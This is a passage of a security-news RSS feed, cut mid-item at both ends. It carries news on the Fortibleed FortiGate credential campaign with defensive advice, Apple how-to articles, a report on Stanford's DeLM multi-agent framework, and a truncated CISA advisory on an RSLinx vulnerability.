<description><![CDATA[A massive credential-compromise campaign dubbed “Fortibleed” has been found to expose tens of thousands of Fortinet devices worldwide, with researchers warning of persistent attacker access to affected enterprise environments.



The campaign was first flagged by security researcher Volodymyr Dia...]]></description>
<link>https://tsecurity.de/de/3607613/it-security-nachrichten/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607613/it-security-nachrichten/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide/</guid>
<pubDate>Thu, 18 Jun 2026 13:53:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A massive credential-compromise campaign dubbed “Fortibleed” has been found to expose tens of thousands of Fortinet devices worldwide, with researchers warning of persistent attacker access to affected enterprise environments.</p>



<p>The campaign was first flagged by security researcher Volodymyr Diachenko, who <a href="https://www.linkedin.com/feed/update/urn:li:share:7471222470814072832/" target="_blank" rel="noreferrer noopener">posted</a> on LinkedIn about finding an attacker-controlled list of potentially working FortiGate passwords collected “through various means.”</p>



<p>Further details came from SOCRadar after its team independently discovered an operational server, which belonged to an unnamed threat actor and contained a list of stolen FortiGate passwords, tools, automation infrastructure, victim list, and some telling information about who could be behind the attack.</p>



<p>“Attribution is ongoing, but the operational fingerprints are clear,” SOCRadar researchers said in a <a href="https://socradar.io/blog/fortibleed-fortinet-firewalls-compromised/" target="_blank" rel="noreferrer noopener">blog post</a>, adding that the tooling and targeting choices are consistent with Russian-speaking threat actors.</p>



<p>According to independent analyses, including by SOCRadar, Hudson Rock, and security researcher Kevin Beaumont, the threat actors systematically collected configuration files from internet-facing Fortinet FortiGate firewalls and used them to recover working administrator credentials. The initial access vector is presently unknown.</p>



<p>CEO of watchTowr Benjamin Harris said the campaign is consistent with what he has been seeing lately. “The uncomfortable reality is that modern exploitation isn’t always about immediate impact,” he said. “It’s about harvesting data that retains value long after the underlying vulnerability has been patched.”</p>



<p>These credentials were likely accumulated over time by exploiting many vulnerabilities affecting sensitive, externally facing Fortinet applications, he added.</p>



<p>Fortinet did not immediately respond to CSO’s request for comments.</p>



<h2 class="wp-block-heading">Cracked passwords, global reach</h2>



<p>While SOCRadar initially reported that the dataset contained working login credentials for over 30,791 devices, further analysis by Beaumont, along with <a href="https://www.hudsonrock.com/blog/fortibleed-75000-fortinet-firewalls-compromised-global-enterprises-exposed-claim-your-ethical-disclosure" target="_blank" rel="noreferrer noopener">Hudson Rock</a>, placed the affected devices at 75000, about 50% of the total internet-facing Fortinet firewalls found on Shodan.</p>



<p>Researchers found affected devices across 194 countries, spanning more than 21000 domains.</p>



<p>The dataset reportedly contains a mix of administrative and SSL VPN credentials recovered from compromised configuration files. Researchers said the operation is highly automated, allowing threat actors to collect, process, and crack credential material at a very large scale.</p>



<p>SOCRadar found the top affected countries to be India, the US, and Mexico, with a little under 12000 compromised credentials between them. A credential-type breakdown revealed Organization-specific credentials to be most probed, indicating enterprise targeting.</p>



<p>Explaining the potential impact, Beaumont <a href="https://doublepulsar.com/fortibleed-75k-fortinet-firewalls-have-admin-passwords-cracked-60299faa65f8" target="_blank" rel="noreferrer noopener">said</a> the threat actors “can log in remotely and gain remote access to the firewall — and so the network.” They can also change settings, including security controls, and make backdoor users, he added.</p>



<h2 class="wp-block-heading">Old Hashes, new problems</h2>



<p>Additional investigation into the campaign highlighted why some Fortinet deployments proved easier to crack than others.</p>



<p>Researchers noted that many affected systems stored administrator credentials using older hashing approaches that were significantly less resistant to offline password-cracking attacks than more recent implementations.</p>



<p>“Fortinet <a href="https://community.fortinet.com/fortigate-3/technical-tip-enforcing-pbkdf2-as-hash-function-for-administrator-accounts-in-fortios-v7-2-11-and-later-220652" target="_blank" rel="noreferrer noopener">introduced</a> PBKDF2-based password hashing for administrator credentials in FortiOS 7.2.11, 7.4.8, and 7.6.1, replacing the legacy SHA-256-based storage mechanism,“ Arctic Wolf researchers explained in a blog <a href="https://arcticwolf.com/resources/blog/active-fortibleed-campaign-impacting-fortinet-devices-across-194-countries/" target="_blank" rel="noreferrer noopener">post</a>. “However, when upgrading from earlier versions, existing administrator passwords remain stored as SHA-256 hashes until the corresponding administrator successfully logs in following the upgrade.”</p>



<p>This could be leading to many organizations continuing to store admin credentials using older <a href="https://www.csoonline.com/article/560341/stop-using-sha1-it-s-now-completely-unsafe.html">SHA</a>-256 with Salt hashing mechanisms, they noted.</p>



<h2 class="wp-block-heading">Defenders told to assume credential exposure</h2>



<p>Researchers urged organizations to assume that credentials contained in exposed FortiGate configuration files have been compromised and to immediately rotate affected administrative and VPN passwords. </p>



<p>Additional recommendations include enforcing multi-factor authentication (<a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a>), restricting internet access to management interfaces, and reviewing devices for signs of unauthorized access.</p>



<p>Upgrading to supported FortiOS versions and replacing weaker or reused passwords was also advised. “After upgrading FortiOS, require all administrators to log in to the firewall at least once: this will automatically set the encryption to PBKDF2,” the researchers said.</p>



<p>Admin passwords can also be manually updated by using a super_admin account, they noted.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[FortiBleed campaign exposes 75,000 Fortinet firewalls worldwide]]></title>
<description><![CDATA[A massive credential-compromise campaign dubbed “Fortibleed” has been found to expose tens of thousands of Fortinet devices worldwide, with researchers warning of persistent attacker access to affected enterprise environments.



The campaign was first flagged by security researcher Volodymyr Dia...]]></description>
<link>https://tsecurity.de/de/3607583/it-security-nachrichten/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607583/it-security-nachrichten/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide/</guid>
<pubDate>Thu, 18 Jun 2026 13:36:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A massive credential-compromise campaign dubbed “Fortibleed” has been found to expose tens of thousands of Fortinet devices worldwide, with researchers warning of persistent attacker access to affected enterprise environments.</p>



<p>The campaign was first flagged by security researcher Volodymyr Diachenko, who <a href="https://www.linkedin.com/feed/update/urn:li:share:7471222470814072832/" target="_blank" rel="noreferrer noopener">posted</a> on LinkedIn about finding an attacker-controlled list of potentially working FortiGate passwords collected “through various means.”</p>



<p>Further details came from SOCRadar after its team independently discovered an operational server, which belonged to an unnamed threat actor and contained a list of stolen FortiGate passwords, tools, automation infrastructure, victim list, and some telling information about who could be behind the attack.</p>



<p>“Attribution is ongoing, but the operational fingerprints are clear,” SOCRadar researchers said in a <a href="https://socradar.io/blog/fortibleed-fortinet-firewalls-compromised/" target="_blank" rel="noreferrer noopener">blog post</a>, adding that the tooling and targeting choices are consistent with Russian-speaking threat actors.</p>



<p>According to independent analyses, including by SOCRadar, Hudson Rock, and security researcher Kevin Beaumont, the threat actors systematically collected configuration files from internet-facing Fortinet FortiGate firewalls and used them to recover working administrator credentials. The initial access vector is presently unknown.</p>



<p>CEO of watchTowr Benjamin Harris said the campaign is consistent with what he has been seeing lately. “The uncomfortable reality is that modern exploitation isn’t always about immediate impact,” he said. “It’s about harvesting data that retains value long after the underlying vulnerability has been patched.”</p>



<p>These credentials were likely accumulated over time by exploiting many vulnerabilities affecting sensitive, externally facing Fortinet applications, he added.</p>



<p>Fortinet did not immediately respond to CSO’s request for comments.</p>



<h2 class="wp-block-heading">Cracked passwords, global reach</h2>



<p>While SOCRadar initially reported that the dataset contained working login credentials for over 30,791 devices, further analysis by Beaumont, along with <a href="https://www.hudsonrock.com/blog/fortibleed-75000-fortinet-firewalls-compromised-global-enterprises-exposed-claim-your-ethical-disclosure" target="_blank" rel="noreferrer noopener">Hudson Rock</a>, placed the affected devices at 75000, about 50% of the total internet-facing Fortinet firewalls found on Shodan.</p>



<p>Researchers found affected devices across 194 countries, spanning more than 21000 domains.</p>



<p>The dataset reportedly contains a mix of administrative and SSL VPN credentials recovered from compromised configuration files. Researchers said the operation is highly automated, allowing threat actors to collect, process, and crack credential material at a very large scale.</p>



<p>SOCRadar found the top affected countries to be India, the US, and Mexico, with a little under 12000 compromised credentials between them. A credential-type breakdown revealed Organization-specific credentials to be most probed, indicating enterprise targeting.</p>



<p>Explaining the potential impact, Beaumont <a href="https://doublepulsar.com/fortibleed-75k-fortinet-firewalls-have-admin-passwords-cracked-60299faa65f8" target="_blank" rel="noreferrer noopener">said</a> the threat actors “can log in remotely and gain remote access to the firewall — and so the network.” They can also change settings, including security controls, and make backdoor users, he added.</p>



<h2 class="wp-block-heading">Old Hashes, new problems</h2>



<p>Additional investigation into the campaign highlighted why some Fortinet deployments proved easier to crack than others.</p>



<p>Researchers noted that many affected systems stored administrator credentials using older hashing approaches that were significantly less resistant to offline password-cracking attacks than more recent implementations.</p>



<p>“Fortinet <a href="https://community.fortinet.com/fortigate-3/technical-tip-enforcing-pbkdf2-as-hash-function-for-administrator-accounts-in-fortios-v7-2-11-and-later-220652" target="_blank" rel="noreferrer noopener">introduced</a> PBKDF2-based password hashing for administrator credentials in FortiOS 7.2.11, 7.4.8, and 7.6.1, replacing the legacy SHA-256-based storage mechanism,“ Arctic Wolf researchers explained in a blog <a href="https://arcticwolf.com/resources/blog/active-fortibleed-campaign-impacting-fortinet-devices-across-194-countries/" target="_blank" rel="noreferrer noopener">post</a>. “However, when upgrading from earlier versions, existing administrator passwords remain stored as SHA-256 hashes until the corresponding administrator successfully logs in following the upgrade.”</p>



<p>This could be leading to many organizations continuing to store admin credentials using older <a href="https://www.csoonline.com/article/560341/stop-using-sha1-it-s-now-completely-unsafe.html">SHA</a>-256 with Salt hashing mechanisms, they noted.</p>



<h2 class="wp-block-heading">Defenders told to assume credential exposure</h2>



<p>Researchers urged organizations to assume that credentials contained in exposed FortiGate configuration files have been compromised and to immediately rotate affected administrative and VPN passwords.</p>



<p>Additional recommendations include enforcing multi-factor authentication (<a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a>), restricting internet access to management interfaces, and reviewing devices for signs of unauthorized access.</p>



<p>Upgrading to supported FortiOS versions and replacing weaker or reused passwords was also advised. “After upgrading FortiOS, require all administrators to log in to the firewall at least once: this will automatically set the encryption to PBKDF2,” the researchers said.</p>



<p>Admin passwords can also be manually updated by using a super_admin account, they noted.</p>



<p><em>The article originally appeared on <a href="https://www.csoonline.com/article/4186790/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to update an iPad through the Mac's Finder when Software Update fails]]></title>
<description><![CDATA[A Mac can update an iPad using the same iPadOS software Apple delivers through Software Update. Here's how Finder can help recover failed installs, fix update problems, and restore devices that won't start properly.Updating an iPad via macOSUpdating your iPad directly through Settings remains the...]]></description>
<link>https://tsecurity.de/de/3606562/ios-mac-os/how-to-update-an-ipad-through-the-macs-finder-when-software-update-fails/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606562/ios-mac-os/how-to-update-an-ipad-through-the-macs-finder-when-software-update-fails/</guid>
<pubDate>Thu, 18 Jun 2026 05:29:10 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Mac can update an iPad using the same <a href="https://appleinsider.com/inside/ipados" title="iPadOS" data-kpt="1">iPadOS</a> software Apple delivers through Software Update. Here's how Finder can help recover failed installs, fix update problems, and restore devices that won't start properly.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67954-143272-833A6A27-18A8-417E-93EE-0F64CC6DC90E-xl.jpg" alt="Blue Apple-style screen showing a smiling face icon in the background and a centered progress bar labeled Preparing iPad software update with the bar partially filled" height="738"><span>Updating an iPad via macOS</span></div><br>Updating your iPad directly through Settings remains the easiest way to keep the device current. Apple can automatically download and install new software overnight while the iPad is charging and connected to Wi-Fi if Automatic Updates is enabled.<br><br>The seamless background process handles everything for the vast majority of users. But sometimes an update refuses to install or leaves the iPad stuck on a recovery screen.<br><br>Finder offers a reliable recovery path when these software failures occur. Apple built this utility to manually install iPadOS when the on-device update process fails.<br><br><br> <a href="https://appleinsider.com/inside/ipados-27/tips/how-to-update-an-ipad-through-the-macs-finder-when-software-update-fails?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244690?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[SQLite Forensics: How To Get More Evidence From Your Investigations]]></title>
<description><![CDATA[Learn how SQLite forensics helps recover deleted records, WAL data, and hidden evidence. Explore SQLite databases and investigate artifacts with Belkasoft X.]]></description>
<link>https://tsecurity.de/de/3604162/it-security-nachrichten/sqlite-forensics-how-to-get-more-evidence-from-your-investigations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604162/it-security-nachrichten/sqlite-forensics-how-to-get-more-evidence-from-your-investigations/</guid>
<pubDate>Wed, 17 Jun 2026 11:09:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn how SQLite forensics helps recover deleted records, WAL data, and hidden evidence. Explore SQLite databases and investigate artifacts with Belkasoft X.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Extend a Photo on iPhone in iOS 27]]></title>
<description><![CDATA[iOS 27 introduces a powerful new Extend tool in the Photos app that helps you fix photos that were cropped too tightly. Instead of removing parts of an image like a traditional crop tool, Extend uses Apple Intelligence to generate additional content around the edges of a photo. 



This makes it ...]]></description>
<link>https://tsecurity.de/de/3603621/ios-mac-os/how-to-extend-a-photo-on-iphone-in-ios-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603621/ios-mac-os/how-to-extend-a-photo-on-iphone-in-ios-27/</guid>
<pubDate>Wed, 17 Jun 2026 06:52:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[iOS 27 introduces a powerful new Extend tool in the Photos app that helps you fix photos that were cropped too tightly. Instead of removing parts of an image like a traditional crop tool, Extend uses Apple Intelligence to generate additional content around the edges of a photo. 



This makes it possible to recover missing space, improve composition, create wallpapers, and adjust aspect ratios without cutting out important details. Apple also introduced Spatial Reframing, which can reposition a photo after it has been taken to improve its overall composition.



If you've ever wished you had stepped back before taking a picture, iOS 27 now gives you a way to fix it directly from the Photos app.



Use the Extend Tool to Add More Space Around a Photo



The Extend tool is the easiest way to fix a photo that feels too zoomed in or tightly cropped. It expands the image beyond its original borders and fills in the missing areas using AI. Apple says it can also help straighten horizons and adjust aspect ratios while keeping important subjects in the frame.




Open the Photos app on your iPhone.



Select the photo you want to edit.



Tap Edit.



Open the new Apple Intelligence Tools section.



Tap Extend.



Drag the image frame outward in the direction where you need more space.



You can also select a different aspect ratio such as square, landscape, or wallpaper.



Wait while Apple Intelligence generates the new image content.



Review the result carefully.



Tap Done to save the edited photo.




Use Spatial Reframing for Better Composition



Related: How to Reframe Any Photo Using Spatial Reframing in iOS 27



Spatial Reframing is another new iOS 27 feature that helps improve a photo's composition. It lets you shift perspective and reposition the image as if you had moved the camera before taking the shot. The feature generates new content only where needed to keep the image looking natural.




Open the photo in the Photos app.



Tap Edit.



Open Apple Intelligence Tools.



Select Reframe or Spatial Reframing.



Wait for the image analysis to complete.



Drag the photo to adjust its perspective.



Use two fingers to zoom, pan, or rotate.



Fine-tune the composition until it looks balanced.



Tap Done to save the changes.




Summary




iOS 27 adds a new Extend tool to the Photos app.



Extend expands a photo beyond its original frame using Apple Intelligence.



The feature helps fix tight crops, adjust aspect ratios, and create wallpapers.



Spatial Reframing can improve composition by shifting perspective after a photo is taken.



Both tools are built directly into the Photos editing interface.



Results work best with landscapes, travel photos, architecture, and group shots.




Conclusion



The new Extend feature in iOS 27 makes it much easier to rescue photos that were framed too tightly. Whether you need extra space around a subject, want to create a wallpaper, or need a better composition for social media, the Photos app can now handle these tasks without requiring third-party editing software. Combined with Spatial Reframing, iOS 27 offers some of the biggest photo editing improvements Apple has introduced in years.]]></content:encoded>
</item>
<item>
<title><![CDATA[Stanford's DeLM cuts multi-agent task costs 50% — without a central orchestrator]]></title>
<description><![CDATA[One of the assumptions behind today’s AI frameworks is that agents require a “boss” at the center; this orchestrator runs the show, routes requests, and makes sure the whole system doesn’t descend into chaos. That assumption may be wrong, and the cost of carrying it could be measured in inference...]]></description>
<link>https://tsecurity.de/de/3602933/it-nachrichten/stanfords-delm-cuts-multi-agent-task-costs-50-without-a-central-orchestrator/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602933/it-nachrichten/stanfords-delm-cuts-multi-agent-task-costs-50-without-a-central-orchestrator/</guid>
<pubDate>Tue, 16 Jun 2026 20:47:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>One of the assumptions behind today’s AI frameworks is that agents require a “boss” at the center; this orchestrator runs the show, routes requests, and makes sure the whole system doesn’t descend into chaos. </p><p>That assumption may be wrong, and the cost of carrying it could be measured in inference dollars and coordination latency. A new Stanford framework called a decentralized language model, or DeLM, is built on the premise that agents can coordinate directly, without routing every update through a central controller.</p><p>DeLM's shared knowledge base serves as a “common communication substrate” so that agents can build upon one another’s verified progress without having to route every interaction through a main agent to “merge, filter, and rebroadcast,” Yuzhen Mao and Azalia Mirhoseini, co-developers of the framework, explain in a <a href="https://arxiv.org/pdf/2606.10662">research paper</a>. </p><p>It’s a system that’s not only possible, but desirable in certain instances. “Agents can build on prior findings, avoid repeated failures, preserve constraints, and recover detailed evidence only when needed.”</p><h2>The challenges of traditional multi-agent systems</h2><p>In a typical centralized multi-agent system, a main agent breaks tasks into subtasks, assigns them out to multiple sub-agents in parallel, waits for responses, merges and summarizes intermediate progress, then launches a next wave of orders based on collected context. </p><p>While this is a natural way to scale LLM reasoning, the Stanford researchers argue that it scales poorly. Every useful finding, partial finding, and failure must be reported back to the main agent, which then determines what information to merge and rebroadcast to the agents below it. </p><p>“As the number of subtasks grows, this controller becomes a communication and integration bottleneck,” Mao and Mirhoseini write. Further, the main orchestrator may “dilute, omit, or distort” useful information, leading to lost progress. </p><p>This bottleneck also occurs in long-context reasoning scenarios. Once it receives reports back from subagents, a main agent will typically group related concepts, data points, and other materials together in an unsupervised learning loop. It may then pre-assign these "evidence clusters" to sub-agents before knowing what surfaced material is actually relevant or whether it’s combined correctly. </p><p>When a subagent receives this insufficient context, it will essentially get confused and return to the main agent, kicking off another retrieval or delegation round. “This back-and-forth makes coordination slower, more iterative, and increasingly constrained by a single overloaded main agent,” the researchers write. </p><div></div><h2>What DeLM addresses and how it works</h2><p>DeLM, by contrast, is built around parallel agents, a shared context, and a task queue. </p><p>Shared context is essentially a curated store of “gists,” or information summaries that other agents might find useful. These include verified and evidence-based findings alongside partial findings and documented failures; they also point to detailed evidence that agents can pull from based on their specific task. </p><p>A task queue is then a set of subsequent pending subtasks that agents can claim independently. </p><p>“Agents write compact, verified updates into a shared context that later agents can read directly,” the researchers write. Useful findings, failures, and constraints accumulate as a “shared problem state,” rather than passing through a central controller.</p><p>The pipeline looks like this: </p><ul><li><p><b>Initialization:</b> Inputs are broken into different work units and added to a queue; </p></li><li><p><b>Parallel execution: </b>Agents work independently and in tandem, pulling tasks and  reading shared context as they progress. </p></li><li><p><b>Compression and verification:</b> Results are compressed into reusable “gists” that are checked against supporting evidence. Only gists that are fully verified are shared with the group. </p></li><li><p><b>Additional work (if needed): </b>When the queue is emptied, the last agent to return an answer inspects all the shared context to determine whether further work is required. </p></li><li><p><b>Final step: </b>The last agent determines that no more steps are required and returns the final answer. </p></li></ul><p>Agents “exchange progress through shared state, asynchronously claim ready tasks, and scale more adaptively as the number of subtasks grows,” the researchers explain. </p><h2>How DeLM performs in the wild</h2><p>With DeLM, agents can avoid redundant exploration; reuse and build on each other’s discoveries and failures; and focus on unresolved issues.</p><p>The framework can be particularly useful in software engineering test-time scaling, when models are given time to “think” to improve their reasoning and problem-solving capabilities. Different agents can explore their own hypotheses or pursue reasoning paths in parallel, while still sharing intermediate progress. One example is concurrent de-bugging. </p><p>DeLM is also suitable for long-context reasoning and multi-document question-answering; agents can simultaneously examine their own evidence clusters (collections of papers, code, or other materials) at the same time, while maintaining a “global compact view” of accumulated evidence. </p><p>The researchers contend that it makes agentic tasks more accurate and significantly cheaper. This is backed by its performance on real-world benchmarks: On SWE-bench Verified — which evaluates how well AI models and agents solve real-world software engineering problems — it performed 10.5% better than the strongest baseline and reduced cost per task by roughly 50%. </p><p>But it can go beyond coding: On LongBench‑v2 Multi‑Doc QA — which assesses LLMs’ ability to handle long-context, real-world problems — DeLM had the highest accuracy across four model families, including GPT‑5.4, Claude Sonnet, Gemini Flash, and DeepSeek‑V4‑Pro. </p><p>DeLM outperforms other models on SWE-Bench <a href="https://x.com/Mao_Yuzhen/status/2064735740949622910">for a number of reasons</a>, as Mao detailed on X. </p><div></div><p>First, agents share failures. In ordinary parallel runs, when one agent follows the wrong path, that failure stays private, and subsequent agents may waste time (and money) pursuing the same dead end. But with DeLM, failed hypotheses are written into shared context. </p><p>“Later agents can read them as constraints, avoid repeated exploration, and redirect their search toward more promising fixes,” Mao said. </p><p>Additionally, constraints, once verified, are immediately added to agents’ shared context. This means they become a binding shared state. “Later agents inherit them, build around them, and avoid repeating globally invalid simplifications,” Mao said. </p><p>Crucially, DeLM keeps shared progress compact enough to reuse. It is unfoldable, meaning agents see short gists by default, but can choose to unfold them into more detailed summaries and raw evidence. </p><p>As the researchers note, providing all raw documents and traces gives agents the maximum amount of information, but that can overwhelm their context windows and ultimately increase costs. </p><p>“If agents shared full traces, each worker would need to read long command histories, file dumps, failed edits, and intermediate reasoning, turning coordination itself into another long-context bottleneck,” Mao said. </p><p>On the other hand, while sharing compact summaries is cheaper, important details and evidence can be lost, resulting in less reliable reasoning. </p><p>Unfolding, therefore, provides “coarse-to-fine” opt-in access. This can improve accuracy and cost.</p><p>Ultimately, with a framework like DeLM, agents can be more efficient because they are prevented from repeatedly reading the same documents or rerunning the same failed analysis; more effective because useful findings are propagated across parallel threads; and more robust because they only share verified claims. </p><p>For enterprise builders, DeLM challenges a core assumption: that every multi-agent workflow needs a central controller. The SWE-bench and LongBench-v2 results suggest the decentralized model isn't just theoretically cleaner — it's faster, more accurate, and roughly half the cost.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Extend a Photo on iPhone in iOS 27]]></title>
<description><![CDATA[iOS 27 introduces a powerful new Extend tool in the Photos app that helps you fix photos that were cropped too tightly. Instead of removing parts of an image like a traditional crop tool, Extend uses Apple Intelligence to generate additional content around the edges of a photo. 



This makes it ...]]></description>
<link>https://tsecurity.de/de/3602589/ios-mac-os/how-to-extend-a-photo-on-iphone-in-ios-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602589/ios-mac-os/how-to-extend-a-photo-on-iphone-in-ios-27/</guid>
<pubDate>Tue, 16 Jun 2026 18:40:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[iOS 27 introduces a powerful new Extend tool in the Photos app that helps you fix photos that were cropped too tightly. Instead of removing parts of an image like a traditional crop tool, Extend uses Apple Intelligence to generate additional content around the edges of a photo. 



This makes it possible to recover missing space, improve composition, create wallpapers, and adjust aspect ratios without cutting out important details. Apple also introduced Spatial Reframing, which can reposition a photo after it has been taken to improve its overall composition.



If you've ever wished you had stepped back before taking a picture, iOS 27 now gives you a way to fix it directly from the Photos app.



Use the Extend Tool to Add More Space Around a Photo



The Extend tool is the easiest way to fix a photo that feels too zoomed in or tightly cropped. It expands the image beyond its original borders and fills in the missing areas using AI. Apple says it can also help straighten horizons and adjust aspect ratios while keeping important subjects in the frame.




Open the Photos app on your iPhone.



Select the photo you want to edit.



Tap Edit.



Open the new Apple Intelligence Tools section.



Tap Extend.



Drag the image frame outward in the direction where you need more space.



You can also select a different aspect ratio such as square, landscape, or wallpaper.



Wait while Apple Intelligence generates the new image content.



Review the result carefully.



Tap Done to save the edited photo.




Use Spatial Reframing for Better Composition



Related: How to Reframe Any Photo Using Spatial Reframing in iOS 27



Spatial Reframing is another new iOS 27 feature that helps improve a photo's composition. It lets you shift perspective and reposition the image as if you had moved the camera before taking the shot. The feature generates new content only where needed to keep the image looking natural.




Open the photo in the Photos app.



Tap Edit.



Open Apple Intelligence Tools.



Select Reframe or Spatial Reframing.



Wait for the image analysis to complete.



Drag the photo to adjust its perspective.



Use two fingers to zoom, pan, or rotate.



Fine-tune the composition until it looks balanced.



Tap Done to save the changes.




Summary




iOS 27 adds a new Extend tool to the Photos app.



Extend expands a photo beyond its original frame using Apple Intelligence.



The feature helps fix tight crops, adjust aspect ratios, and create wallpapers.



Spatial Reframing can improve composition by shifting perspective after a photo is taken.



Both tools are built directly into the Photos editing interface.



Results work best with landscapes, travel photos, architecture, and group shots.




Conclusion



The new Extend feature in iOS 27 makes it much easier to rescue photos that were framed too tightly. Whether you need extra space around a subject, want to create a wallpaper, or need a better composition for social media, the Photos app can now handle these tasks without requiring third-party editing software. Combined with Spatial Reframing, iOS 27 offers some of the biggest photo editing improvements Apple has introduced in years.]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation RSLinx]]></title>
<description><![CDATA[View CSAF Summary Successful exploitation of this vulnerability can lead to a denial of service, where the application will become unresponsive and will not recover on its own. The following versions of RSLinx Classic Third-Party Vulnerability are affected: RSLinx Classic…
Read more →
The post Ro...]]></description>
<link>https://tsecurity.de/de/3602569/it-security-nachrichten/rockwell-automation-rslinx/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602569/it-security-nachrichten/rockwell-automation-rslinx/</guid>
<pubDate>Tue, 16 Jun 2026 18:39:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>View CSAF Summary Successful exploitation of this vulnerability can lead to a denial of service, where the application will become unresponsive and will not recover on its own. The following versions of RSLinx Classic Third-Party Vulnerability are affected: RSLinx Classic…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/rockwell-automation-rslinx/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/rockwell-automation-rslinx/">Rockwell Automation RSLinx</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation RSLinx]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability can lead to a denial of service, where the application will become unresponsive and will not recover on its own.
The following versions of RSLinx Classic Third-Party Vulnerability are affected:

RSLinx Classic]]></description>
<link>https://tsecurity.de/de/3602512/it-security-nachrichten/rockwell-automation-rslinx/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602512/it-security-nachrichten/rockwell-automation-rslinx/</guid>
<pubDate>Tue, 16 Jun 2026 18:21:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-167-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability can lead to a denial of service, where the application will become unresponsive and will not recover on its own.</strong></p>
<p>The following versions of RSLinx Classic Third-Party Vulnerability are affected:</p>
<ul>
<li>RSLinx Classic &lt;=4.50.00 (CVE-2020-13573)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>RSLinx Classic Third-Party Vulnerability</td>
<td>Out-of-bounds Read</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Food and Agriculture, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2020-13573</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to remotely execute arbitrary code.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2020-13573">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>RSLinx Classic Third-Party Vulnerability</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation RSLinx Classic: &lt;=4.50.00</div>
